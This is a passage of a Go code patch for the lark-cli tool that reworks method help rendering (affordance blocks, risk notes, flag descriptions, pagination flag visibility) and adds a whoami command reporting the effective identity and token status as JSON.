// Annotation keys PrepareMethodHelp reads to rebuild a method command's Long.
|
||||
const (
|
||||
affordanceServiceAnnotation = "affordance-service"
|
||||
affordanceMethodAnnotation = "affordance-method"
|
||||
schemaPathAnnotation = "method-schema-path"
|
||||
paramsOnlyAnnotation = "method-params-only"
|
||||
domainBaseAnnotation = "affordance-domain-base"
|
||||
)
|
||||
|
||||
// setMethodHelpData records the coordinates PrepareMethodHelp needs (storing a
|
||||
// few strings is the only build-time cost; the overlay stays untouched).
|
||||
func setMethodHelpData(cmd *cobra.Command, service, methodID, schemaPath, paramsOnly string) {
|
||||
if cmd.Annotations == nil {
|
||||
cmd.Annotations = map[string]string{}
|
||||
}
|
||||
if service != "" && methodID != "" {
|
||||
cmd.Annotations[affordanceServiceAnnotation] = service
|
||||
cmd.Annotations[affordanceMethodAnnotation] = methodID
|
||||
}
|
||||
cmd.Annotations[schemaPathAnnotation] = schemaPath
|
||||
if paramsOnly != "" {
|
||||
cmd.Annotations[paramsOnlyAnnotation] = paramsOnly
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareMethodHelp rebuilds a generated method command's Long with the agent
|
||||
// guidance at the TOP (Risk, then the affordance block, then the schema
|
||||
// pointer), returning false for non-method commands. The overlay is parsed
|
||||
// here — only when help is rendered.
|
||||
func PrepareMethodHelp(cmd *cobra.Command) bool {
|
||||
ann := cmd.Annotations
|
||||
if ann == nil {
|
||||
return false
|
||||
}
|
||||
schemaPath, ok := ann[schemaPathAnnotation]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(cmd.Short)
|
||||
if level, ok := cmdutil.GetRisk(cmd); ok {
|
||||
// --yes asserts the USER confirmed; the agent must not self-approve.
|
||||
if level == cmdutil.RiskHighRiskWrite {
|
||||
fmt.Fprintf(&b, "\n\nRisk: %s (requires explicit user confirmation to execute; the agent must NOT add --yes on its own — only pass --yes after the user has confirmed)", level)
|
||||
} else {
|
||||
fmt.Fprintf(&b, "\n\nRisk: %s", level)
|
||||
}
|
||||
}
|
||||
|
||||
var skills []string
|
||||
if raw, ok := affordanceRaw(cmd); ok {
|
||||
if block := renderAffordance(meta.Method{Affordance: raw}); block != "" {
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(block)
|
||||
}
|
||||
if a, ok := (meta.Method{Affordance: raw}).ParsedAffordance(); ok {
|
||||
skills = a.Skills
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Fprintf(&b, "\n\nFull parameter schema:\n lark-cli schema %s", schemaPath)
|
||||
b.WriteString(ann[paramsOnlyAnnotation])
|
||||
|
||||
if len(skills) > 0 {
|
||||
b.WriteString("\n\nWorkflow skill (end-to-end usage):")
|
||||
for _, s := range skills {
|
||||
fmt.Fprintf(&b, "\n lark-cli skills read %s", s)
|
||||
}
|
||||
}
|
||||
|
||||
cmd.Long = b.String()
|
||||
return true
|
||||
}
|
||||
|
||||
// affordanceLookup is the overlay source; a package var so tests can inject.
|
||||
var affordanceLookup = affordance.For
|
||||
|
||||
// RenderAffordanceForCmd renders a method command's affordance block, or "" when
|
||||
// it carries none.
|
||||
func RenderAffordanceForCmd(cmd *cobra.Command) string {
|
||||
raw, ok := affordanceRaw(cmd)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return renderAffordance(meta.Method{Affordance: raw})
|
||||
}
|
||||
|
||||
func affordanceRaw(cmd *cobra.Command) (json.RawMessage, bool) {
|
||||
if cmd.Annotations == nil {
|
||||
return nil, false
|
||||
}
|
||||
service := cmd.Annotations[affordanceServiceAnnotation]
|
||||
methodID := cmd.Annotations[affordanceMethodAnnotation]
|
||||
if service == "" || methodID == "" {
|
||||
return nil, false
|
||||
}
|
||||
return affordanceLookup(service, methodID)
|
||||
}
|
||||
|
||||
// renderAffordance renders a method's affordance as a help block, or "" when it
|
||||
// has none. Sections are joined with blank lines so they scan as distinct groups.
|
||||
func renderAffordance(m meta.Method) string {
|
||||
a, ok := m.ParsedAffordance()
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
var sections []string
|
||||
bullets := func(title string, items []string) {
|
||||
var nonEmpty []string
|
||||
for _, it := range items {
|
||||
@@ -49,15 +219,18 @@ func renderAffordance(m meta.Method) string {
|
||||
if len(nonEmpty) == 0 {
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(&b, "%s:\n", title)
|
||||
var s strings.Builder
|
||||
fmt.Fprintf(&s, "%s:\n", title)
|
||||
for _, it := range nonEmpty {
|
||||
fmt.Fprintf(&b, " • %s\n", it)
|
||||
fmt.Fprintf(&s, " • %s\n", it)
|
||||
}
|
||||
sections = append(sections, strings.TrimRight(s.String(), "\n"))
|
||||
}
|
||||
|
||||
bullets("When to use", a.UseWhen)
|
||||
bullets("Avoid when", a.DoNotUseWhen)
|
||||
bullets("Avoid when", a.AvoidWhen)
|
||||
bullets("Prerequisites", a.Prerequisites)
|
||||
bullets("Tips", a.Tips)
|
||||
if len(a.Examples) > 0 {
|
||||
var lines []string
|
||||
for _, ex := range a.Examples {
|
||||
@@ -71,10 +244,13 @@ func renderAffordance(m meta.Method) string {
|
||||
}
|
||||
}
|
||||
if len(lines) > 0 {
|
||||
fmt.Fprintf(&b, "Examples:\n%s\n", strings.Join(lines, "\n"))
|
||||
sections = append(sections, "Examples:\n"+strings.Join(lines, "\n"))
|
||||
}
|
||||
}
|
||||
for _, ext := range a.Extensions {
|
||||
bullets(ext.Label, ext.Items)
|
||||
}
|
||||
bullets("Related", a.Related)
|
||||
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
return strings.Join(sections, "\n\n")
|
||||
}
|
||||
|
||||
@@ -8,15 +8,18 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdmeta"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/meta"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestRenderAffordance(t *testing.T) {
|
||||
raw := json.RawMessage(`{
|
||||
"use_when": ["发送文本消息"],
|
||||
"do_not_use_when": ["群已解散"],
|
||||
"avoid_when": ["群已解散"],
|
||||
"prerequisites": ["已获取 chat_id"],
|
||||
"tips": ["富文本用 msg_type=post"],
|
||||
"examples": [
|
||||
{"description":"发一条文本","command":"lark-cli im messages create --params '{...}'"},
|
||||
{"command":"lark-cli im messages list"},
|
||||
@@ -29,6 +32,7 @@ func TestRenderAffordance(t *testing.T) {
|
||||
"When to use:", "发送文本消息",
|
||||
"Avoid when:", "群已解散",
|
||||
"Prerequisites:", "已获取 chat_id",
|
||||
"Tips:", "富文本用 msg_type=post",
|
||||
"Examples:", "发一条文本", "lark-cli im messages create --params '{...}'",
|
||||
"lark-cli im messages list", // example with no description -> bare command line
|
||||
"Related:", "im.messages.list",
|
||||
@@ -48,9 +52,12 @@ func TestRenderAffordance(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceMethod_AffordanceInLong(t *testing.T) {
|
||||
// Affordance is rendered lazily (at --help time) rather than baked into the
|
||||
// command's Long, so building a command never carries the affordance block —
|
||||
// even for a method whose metadata happens to declare one.
|
||||
func TestServiceMethod_AffordanceNotInLong(t *testing.T) {
|
||||
withAff := map[string]interface{}{
|
||||
"path": "messages", "httpMethod": "POST", "description": "发送消息",
|
||||
"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息",
|
||||
"affordance": map[string]interface{}{
|
||||
"examples": []interface{}{
|
||||
map[string]interface{}{"description": "发文本", "command": "lark-cli im messages create ..."},
|
||||
@@ -59,14 +66,120 @@ func TestServiceMethod_AffordanceInLong(t *testing.T) {
|
||||
}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
|
||||
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(withAff), "create", "messages", nil)
|
||||
if !strings.Contains(cmd.Long, "Examples:") || !strings.Contains(cmd.Long, "lark-cli im messages create ...") {
|
||||
t.Errorf("affordance examples not in command Long:\n%s", cmd.Long)
|
||||
if strings.Contains(cmd.Long, "Examples:") {
|
||||
t.Errorf("affordance must not be baked into Long (lazy):\n%s", cmd.Long)
|
||||
}
|
||||
|
||||
// A method with no affordance adds no guidance block.
|
||||
plain := map[string]interface{}{"path": "x", "httpMethod": "GET", "description": "d"}
|
||||
cmd2 := NewCmdServiceMethod(f, imSpec(), meta.FromMap(plain), "list", "x", nil)
|
||||
if strings.Contains(cmd2.Long, "Examples:") {
|
||||
t.Errorf("no-affordance method should have no Examples in Long:\n%s", cmd2.Long)
|
||||
// The lookup ref is recorded so the help path can resolve it later.
|
||||
if cmd.Annotations[affordanceServiceAnnotation] != "im" || cmd.Annotations[affordanceMethodAnnotation] != "messages.create" {
|
||||
t.Errorf("affordance ref annotations = %v, want im/messages.create", cmd.Annotations)
|
||||
}
|
||||
}
|
||||
|
||||
// RenderAffordanceForCmd resolves a command's overlay through the (injectable)
|
||||
// lookup and renders it; commands without a ref render nothing.
|
||||
func TestRenderAffordanceForCmd(t *testing.T) {
|
||||
orig := affordanceLookup
|
||||
t.Cleanup(func() { affordanceLookup = orig })
|
||||
affordanceLookup = func(service, methodID string) (json.RawMessage, bool) {
|
||||
if service != "im" || methodID != "messages.create" {
|
||||
return nil, false
|
||||
}
|
||||
return json.RawMessage(`{"use_when":["发文本消息"],"tips":["富文本用 msg_type=post"],"examples":[{"description":"发一条","command":"lark-cli im messages create ..."}]}`), true
|
||||
}
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
|
||||
withRef := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息"}
|
||||
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(withRef), "create", "messages", nil)
|
||||
block := RenderAffordanceForCmd(cmd)
|
||||
for _, want := range []string{"When to use:", "发文本消息", "Tips:", "富文本用 msg_type=post", "Examples:", "lark-cli im messages create ..."} {
|
||||
if !strings.Contains(block, want) {
|
||||
t.Errorf("RenderAffordanceForCmd missing %q in:\n%s", want, block)
|
||||
}
|
||||
}
|
||||
|
||||
// No overlay for this method id -> empty block.
|
||||
noRef := map[string]interface{}{"id": "x.list", "path": "x", "httpMethod": "GET", "description": "d"}
|
||||
cmd2 := NewCmdServiceMethod(f, imSpec(), meta.FromMap(noRef), "list", "x", nil)
|
||||
if got := RenderAffordanceForCmd(cmd2); got != "" {
|
||||
t.Errorf("method with no overlay should render nothing, got:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareMethodHelp composes the guidance into Long at the top: description,
|
||||
// then the affordance block, then the full-schema pointer — so an agent reads
|
||||
// when-to-use/examples before the flag list.
|
||||
func TestPrepareMethodHelp(t *testing.T) {
|
||||
orig := affordanceLookup
|
||||
t.Cleanup(func() { affordanceLookup = orig })
|
||||
affordanceLookup = func(_, _ string) (json.RawMessage, bool) {
|
||||
return json.RawMessage(`{"use_when":["发文本消息"],"examples":[{"description":"发一条","command":"lark-cli im messages create ..."}]}`), true
|
||||
}
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, testConfig)
|
||||
m := map[string]interface{}{"id": "messages.create", "path": "messages", "httpMethod": "POST", "description": "发送消息"}
|
||||
cmd := NewCmdServiceMethod(f, imSpec(), meta.FromMap(m), "create", "messages", nil)
|
||||
|
||||
if !PrepareMethodHelp(cmd) {
|
||||
t.Fatal("PrepareMethodHelp returned false for a service-method command")
|
||||
}
|
||||
long := cmd.Long
|
||||
// Description leads; affordance block sits above the schema pointer.
|
||||
descAt := strings.Index(long, "发送消息")
|
||||
useAt := strings.Index(long, "When to use:")
|
||||
exAt := strings.Index(long, "Examples:")
|
||||
schemaAt := strings.Index(long, "Full parameter schema:")
|
||||
if descAt != 0 {
|
||||
t.Errorf("description should lead Long, got:\n%s", long)
|
||||
}
|
||||
if !(descAt < useAt && useAt < exAt && exAt < schemaAt) {
|
||||
t.Errorf("order should be description < affordance < schema pointer; got desc=%d use=%d ex=%d schema=%d\n%s", descAt, useAt, exAt, schemaAt, long)
|
||||
}
|
||||
|
||||
// A non-service command (no schema-path annotation) is left untouched.
|
||||
if PrepareMethodHelp(&cobra.Command{Use: "plain"}) {
|
||||
t.Error("PrepareMethodHelp should return false for a non-service command")
|
||||
}
|
||||
}
|
||||
|
||||
// domainCmd wires a domain-tagged command with a subcommand under a root, the
|
||||
// shape PrepareDomainHelp expects.
|
||||
func domainCmd(short, long string) *cobra.Command {
|
||||
root := &cobra.Command{Use: "root"}
|
||||
dom := &cobra.Command{Use: "event", Short: short, Long: long}
|
||||
cmdmeta.SetDomain(dom, "event")
|
||||
dom.AddCommand(&cobra.Command{Use: "consume", Run: func(*cobra.Command, []string) {}})
|
||||
root.AddCommand(dom)
|
||||
return dom
|
||||
}
|
||||
|
||||
func TestPrepareDomainHelp_PreservesHandAuthoredLong(t *testing.T) {
|
||||
const long = "Unified event consumption system. Use 'event consume <EventKey>'."
|
||||
dom := domainCmd("Consume and manage real-time events", long)
|
||||
|
||||
if !PrepareDomainHelp(dom, nil) {
|
||||
t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
|
||||
}
|
||||
if !strings.HasPrefix(dom.Long, long) {
|
||||
t.Errorf("hand-authored Long must lead; got:\n%s", dom.Long)
|
||||
}
|
||||
if !strings.Contains(dom.Long, "Risk levels") {
|
||||
t.Errorf("domain guidance should be appended; got:\n%s", dom.Long)
|
||||
}
|
||||
|
||||
// Re-rendering must not append the guidance a second time.
|
||||
PrepareDomainHelp(dom, nil)
|
||||
if n := strings.Count(dom.Long, "Risk levels"); n != 1 {
|
||||
t.Errorf("guidance appended %d times across re-renders, want 1:\n%s", n, dom.Long)
|
||||
}
|
||||
}
|
||||
|
||||
// A service domain carries only a Short at help time; it seeds the base.
|
||||
func TestPrepareDomainHelp_FallsBackToShort(t *testing.T) {
|
||||
dom := domainCmd("Message and group chat management", "")
|
||||
if !PrepareDomainHelp(dom, nil) {
|
||||
t.Fatal("PrepareDomainHelp returned false for a domain-tagged command")
|
||||
}
|
||||
if !strings.HasPrefix(dom.Long, "Message and group chat management") {
|
||||
t.Errorf("Short should seed Long when no hand-authored Long exists; got:\n%s", dom.Long)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -60,8 +60,11 @@ func TestServiceFlagGroups_AgentContract(t *testing.T) {
|
||||
if i := idx("--chat-id"); i < iParams || i > iBody {
|
||||
t.Errorf("--chat-id not under API Parameters:\n%s", out)
|
||||
}
|
||||
if !strings.Contains(out, "chat_id, required") {
|
||||
t.Errorf("typed flag help format wrong:\n%s", out)
|
||||
// The redundant "<name>, required|optional." prefix is gone: required-ness is
|
||||
// carried by the Required:/Optional: subheadings, and the snake-case --params
|
||||
// key by the schema envelope — so it isn't echoed on every flag line.
|
||||
if strings.Contains(out, "chat_id, required") || strings.Contains(out, "member_id_type, optional") {
|
||||
t.Errorf("redundant <name>, required/optional prefix should not appear:\n%s", out)
|
||||
}
|
||||
if !strings.Contains(out, "enum: open_id=以 open_id 标识用户|user_id=以 user_id 标识用户") {
|
||||
t.Errorf("expected compact enum value=meaning inline:\n%s", out)
|
||||
|
||||
@@ -30,6 +30,11 @@ func fieldFacts(f meta.Field) []string {
|
||||
if d := sanitizeFieldDesc(f.Description); d != "" {
|
||||
facts = append(facts, d)
|
||||
}
|
||||
if f.CanonicalType() == "boolean" {
|
||||
// cobra shows no type word for bools and swallows a separate value as a
|
||||
// positional, so spell out the presence-only contract.
|
||||
facts = append(facts, "bool flag (presence = true; omit for false; takes no value)")
|
||||
}
|
||||
if opts := f.EnumOptions(); len(opts) > 0 {
|
||||
facts = append(facts, "enum: "+formatEnumInline(opts))
|
||||
}
|
||||
@@ -42,20 +47,15 @@ func fieldFacts(f meta.Field) []string {
|
||||
return facts
|
||||
}
|
||||
|
||||
// paramFlagUsage renders the typed param flag's help line:
|
||||
//
|
||||
// <param_name>, required|optional[. <fact>]...
|
||||
//
|
||||
// It leads with the canonical underscore param name (the key this flag
|
||||
// overrides in --params) and required/optional, then joins the field's facts
|
||||
// inline.
|
||||
// paramFlagUsage renders the typed param flag's help line: the field's facts
|
||||
// joined inline. Required/optional is not repeated here — the grouped help's
|
||||
// Required:/Optional: subheadings already partition the flags — and the
|
||||
// snake-case --params key is carried by the schema envelope (each param's
|
||||
// property + "flag") and the params-only addendum, so it isn't echoed on every
|
||||
// line either. Returns "" when the field has no facts (cobra then shows the bare
|
||||
// flag with its type).
|
||||
func paramFlagUsage(f meta.Field) string {
|
||||
req := "optional"
|
||||
if f.Required {
|
||||
req = "required"
|
||||
}
|
||||
parts := append([]string{fmt.Sprintf("%s, %s", f.Name, req)}, fieldFacts(f)...)
|
||||
return strings.Join(parts, ". ") + "."
|
||||
return strings.Join(fieldFacts(f), ". ")
|
||||
}
|
||||
|
||||
// paramExample picks a concrete sample for a params-only field's --help snippet:
|
||||
@@ -103,8 +103,23 @@ func sanitizeOptionDesc(s string) string { return inlineClause(s, "。;;\n\r",
|
||||
// sanitizeFieldDesc is the field-description policy: one line per field, so
|
||||
// keep full sentences and cut only at note separators (meta_data appends
|
||||
// bullet notes after ;/;) — the later sentence often carries the key
|
||||
// affordance, e.g. user_mailbox_id's `可以输入"me"`.
|
||||
func sanitizeFieldDesc(s string) string { return inlineClause(s, ";;\n\r", 60) }
|
||||
// affordance, e.g. user_mailbox_id's `可以输入"me"`. The trailing doc
|
||||
// cross-reference is dropped first (see cutDocRef).
|
||||
func sanitizeFieldDesc(s string) string { return inlineClause(cutDocRef(s), ";;\n\r", 60) }
|
||||
|
||||
// docRefRe matches a "see the docs" breadcrumb (更多信息参见…/获取方式见…/详见…).
|
||||
// On the compact flag line the markdown link's URL is stripped, so the
|
||||
// breadcrumb is a dead pointer — drop it. Anchored on a leading clause separator
|
||||
// so a subject that runs straight into the phrase isn't orphaned.
|
||||
var docRefRe = regexp.MustCompile(`[。;;,,、]\s*(更多信息|获取方式|获取方法|详见|[请可]?参[见考阅])`)
|
||||
|
||||
// cutDocRef truncates s at the first doc-reference breadcrumb.
|
||||
func cutDocRef(s string) string {
|
||||
if loc := docRefRe.FindStringIndex(s); loc != nil {
|
||||
return s[:loc[0]]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// formatEnumInline renders allowed values for the help line: "v=meaning" when
|
||||
// the value carries a (sanitized, truncated) description — so opaque numeric
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
@@ -64,15 +65,38 @@ func registerServiceWithContext(ctx context.Context, parent *cobra.Command, svc
|
||||
// resource-command chain — one level for a flat dotted resource like
|
||||
// "chat.members", deeper for genuinely nested resources. A service with no
|
||||
// methods keeps its bare command (svcCmd is created above regardless).
|
||||
for _, ref := range apicatalog.ServiceMethods(svc, nil) {
|
||||
refs := apicatalog.ServiceMethods(svc, nil)
|
||||
|
||||
// Collect each resource's verbs up front so resourceShort can summarize a
|
||||
// resource as its verb list from the first ensureChildCommand call.
|
||||
verbs := map[string][]string{}
|
||||
for _, ref := range refs {
|
||||
key := strings.Join(ref.ResourcePath, ".")
|
||||
verbs[key] = append(verbs[key], ref.Method.Name)
|
||||
}
|
||||
|
||||
for _, ref := range refs {
|
||||
resCmd := svcCmd
|
||||
var path []string
|
||||
for _, seg := range ref.ResourcePath {
|
||||
resCmd = ensureChildCommand(resCmd, seg, seg+" operations")
|
||||
path = append(path, seg)
|
||||
resCmd = ensureChildCommand(resCmd, seg, resourceShort(seg, verbs[strings.Join(path, ".")]))
|
||||
}
|
||||
resCmd.AddCommand(buildMethodCommand(ctx, f, newMethodCommandSpec(ref), nil, parent.PersistentFlags()))
|
||||
}
|
||||
}
|
||||
|
||||
// resourceShort summarizes a resource as its sorted verb list, or the
|
||||
// "<name> operations" placeholder for an intermediate group with no methods.
|
||||
func resourceShort(seg string, verbs []string) string {
|
||||
if len(verbs) == 0 {
|
||||
return seg + " operations"
|
||||
}
|
||||
sorted := append([]string(nil), verbs...)
|
||||
sort.Strings(sorted)
|
||||
return strings.Join(sorted, ", ")
|
||||
}
|
||||
|
||||
// serviceShort is the service command's help summary: the localized description
|
||||
// from the registry, falling back to the metadata's own description.
|
||||
func serviceShort(svc meta.Service) string {
|
||||
@@ -177,7 +201,19 @@ type methodCommandSpec struct {
|
||||
// the API declares a body.
|
||||
acceptsBody bool
|
||||
declaresBody bool
|
||||
affordance string // rendered hand-authored usage guidance (when-to-use, examples); "" if none
|
||||
paginates bool // method accepts a page_token param (so --page-all is meaningful)
|
||||
serviceName string // owning service name (e.g. "approval"), for the lazy affordance lookup
|
||||
}
|
||||
|
||||
// methodPaginates reports whether a method takes a page_token param, the signal
|
||||
// that makes the --page-all/--page-limit/--page-delay flags meaningful.
|
||||
func methodPaginates(m meta.Method) bool {
|
||||
for _, f := range m.Params() {
|
||||
if f.Name == "page_token" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
|
||||
@@ -186,6 +222,7 @@ func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
|
||||
method: m,
|
||||
schemaPath: ref.SchemaPath(),
|
||||
servicePath: ref.Service.ServicePath,
|
||||
serviceName: ref.Service.Name,
|
||||
risk: m.Risk,
|
||||
restricts: m.RestrictsIdentity(),
|
||||
identities: m.Identities(),
|
||||
@@ -193,7 +230,7 @@ func newMethodCommandSpec(ref apicatalog.MethodRef) methodCommandSpec {
|
||||
fileFields: detectFileFields(m),
|
||||
acceptsBody: methodTakesBody(m.HTTPMethod),
|
||||
declaresBody: len(m.Data()) > 0 || len(m.Files()) > 0,
|
||||
affordance: renderAffordance(m),
|
||||
paginates: methodPaginates(m),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -254,6 +291,14 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
|
||||
cmd.Flags().BoolVar(&opts.PageAll, "page-all", false, "automatically paginate through all pages")
|
||||
cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
|
||||
cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
|
||||
// Keep the pagination flags registered (a harmless no-op if passed) but hide
|
||||
// them from help on non-paginating commands, so help doesn't imply a
|
||||
// get/write can paginate.
|
||||
if !spec.paginates {
|
||||
for _, name := range []string{"page-all", "page-limit", "page-delay"} {
|
||||
_ = cmd.Flags().MarkHidden(name)
|
||||
}
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
|
||||
cmd.Flags().Bool("json", false, "shorthand for --format json")
|
||||
cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
|
||||
@@ -271,10 +316,11 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
|
||||
|
||||
// Registered last so the collision guard sees the standard flags above.
|
||||
opts.binder = newParamFlagBinder(cmd, spec.params, reserved)
|
||||
// Single composition point for Long: description, affordance, schema
|
||||
// pointer, and the binder's params-only addendum (params whose flag name is
|
||||
// taken, reachable via --params only).
|
||||
cmd.Long = methodLong(m.Description, spec.affordance, spec.schemaPath, opts.binder.paramsOnlyHelp())
|
||||
// Build-time Long; the agent guidance is added lazily by PrepareMethodHelp
|
||||
// (setMethodHelpData records the coordinates it needs).
|
||||
paramsOnly := opts.binder.paramsOnlyHelp()
|
||||
cmd.Long = methodLong(m.Description, spec.schemaPath, paramsOnly)
|
||||
setMethodHelpData(cmd, spec.serviceName, m.ID, spec.schemaPath, paramsOnly)
|
||||
|
||||
// Group flags for the grouped --help renderer (typed param flags are grouped
|
||||
// as API Parameters by the binder). tagFlagGroup is a no-op for flags not
|
||||
@@ -292,13 +338,11 @@ func buildMethodCommand(ctx context.Context, f *cmdutil.Factory, spec methodComm
|
||||
tagFlagGroup(cmd.Flags(), "file", groupBody)
|
||||
if fl := cmd.Flags().Lookup("params"); fl != nil {
|
||||
annotate(fl, flagGroupAnnotation, []string{groupRaw})
|
||||
// State the precedence rule where the agent reads it: --params is the
|
||||
// base, typed flags override. Only meaningful when typed flags exist.
|
||||
// Keep the precedence rule on the flag's own one line (not a multi-line
|
||||
// note that breaks the one-entry-per-flag rhythm an agent parses). Only
|
||||
// meaningful when typed flags exist to override.
|
||||
if len(spec.params) > 0 {
|
||||
annotate(fl, flagNoteAnnotation, []string{
|
||||
"Typed API parameter flags above are preferred.",
|
||||
"If both are set, typed flags override matching keys in --params.",
|
||||
})
|
||||
fl.Usage = "Raw URL/query params JSON. Supports - and @file. If both set, typed flags override matching keys in --params."
|
||||
}
|
||||
}
|
||||
for _, name := range []string{"as", "dry-run", "page-all", "page-limit", "page-delay", "yes"} {
|
||||
|
||||
163
cmd/whoami/whoami.go
Normal file
163
cmd/whoami/whoami.go
Normal file
@@ -0,0 +1,163 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package whoami
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/identitydiag"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// whoamiResult is the structured output of `lark-cli whoami`.
|
||||
//
|
||||
// The self-vs-delegated distinction is carried by `identity`: a bot identity is
|
||||
// the app acting as itself; a user identity is the app acting *on behalf of* a
|
||||
// person (calls are attributed to that user, who is not necessarily present).
|
||||
// onBehalfOf only *names* that person and so appears only once a user is
|
||||
// resolved — a user identity that is not signed in still has identity "user"
|
||||
// but no onBehalfOf yet. Do not read "no onBehalfOf" as "self"; read `identity`.
|
||||
type whoamiResult struct {
|
||||
Profile string `json:"profile"`
|
||||
AppID string `json:"appId"`
|
||||
Brand core.LarkBrand `json:"brand"`
|
||||
DefaultAs string `json:"defaultAs"`
|
||||
Identity string `json:"identity"`
|
||||
IdentitySource string `json:"identitySource"`
|
||||
Available bool `json:"available"`
|
||||
TokenStatus string `json:"tokenStatus"`
|
||||
OnBehalfOf *delegatedUser `json:"onBehalfOf,omitempty"`
|
||||
Hint string `json:"hint,omitempty"`
|
||||
}
|
||||
|
||||
// delegatedUser is the user a user-identity acts on behalf of.
|
||||
type delegatedUser struct {
|
||||
UserName string `json:"userName,omitempty"`
|
||||
OpenID string `json:"openId,omitempty"`
|
||||
}
|
||||
|
||||
// Options holds inputs for the whoami command.
|
||||
type Options struct {
|
||||
Factory *cmdutil.Factory
|
||||
As string
|
||||
}
|
||||
|
||||
// NewCmdWhoami creates the top-level whoami command. It reports the identity
|
||||
// that the next API call would actually use (resolved via Factory.ResolveAs),
|
||||
// together with the active profile, app, and token status. Output is always
|
||||
// JSON — whoami is consumed by agents. With the built-in credential path it is
|
||||
// local-only; when an external credential provider manages tokens, resolving
|
||||
// the identity may contact that provider.
|
||||
func NewCmdWhoami(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &Options{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "whoami",
|
||||
Short: "Show the current effective identity, app, profile, and token status (JSON)",
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
return whoamiRun(cmd, opts)
|
||||
},
|
||||
}
|
||||
cmdutil.DisableAuthCheck(cmd)
|
||||
cmdutil.AddAPIIdentityFlag(context.Background(), cmd, f, &opts.As)
|
||||
// Output is always JSON. Accept (and ignore) --json so existing
|
||||
// `whoami --json` callers don't break; hide it to avoid implying a non-JSON
|
||||
// mode exists.
|
||||
cmd.Flags().Bool("json", true, "deprecated: output is always JSON")
|
||||
_ = cmd.Flags().MarkHidden("json")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
return cmd
|
||||
}
|
||||
|
||||
func whoamiRun(cmd *cobra.Command, opts *Options) error {
|
||||
f := opts.Factory
|
||||
cfg, err := f.Config()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ctx := cmd.Context()
|
||||
flagAs := core.Identity(opts.As)
|
||||
as := f.ResolveAs(ctx, cmd, flagAs)
|
||||
// Validate as a real API call does (strict mode, then identity) so whoami
|
||||
// can't preview an identity the next call would refuse.
|
||||
if err := f.CheckStrictMode(ctx, as); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := f.CheckIdentity(as, []string{"user", "bot"}); err != nil {
|
||||
return err
|
||||
}
|
||||
source := resolveSource(
|
||||
cmd.Flags().Changed("as"),
|
||||
flagAs,
|
||||
f.IdentityAutoDetected,
|
||||
f.ResolveStrictMode(ctx).ForcedIdentity(),
|
||||
)
|
||||
diag := identitydiag.Diagnose(ctx, f, cfg, false)
|
||||
res := buildResult(cfg, as, source, diag)
|
||||
output.PrintJson(f.IOStreams.Out, res)
|
||||
return nil
|
||||
}
|
||||
|
||||
// resolveSource derives how the effective identity became effective.
|
||||
// Mirrors Factory.ResolveAs precedence: explicit flag wins; otherwise an
|
||||
// auto-detected result means auto-detect; otherwise a strict-mode forced
|
||||
// identity means strict-mode; otherwise it came from configured default-as.
|
||||
// Values are snake_case to match the other enum fields (e.g. tokenStatus).
|
||||
func resolveSource(changedAs bool, flagAs core.Identity, autoDetected bool, strictForced core.Identity) string {
|
||||
if changedAs && (flagAs == core.AsUser || flagAs == core.AsBot) {
|
||||
return "flag"
|
||||
}
|
||||
if autoDetected {
|
||||
return "auto_detect"
|
||||
}
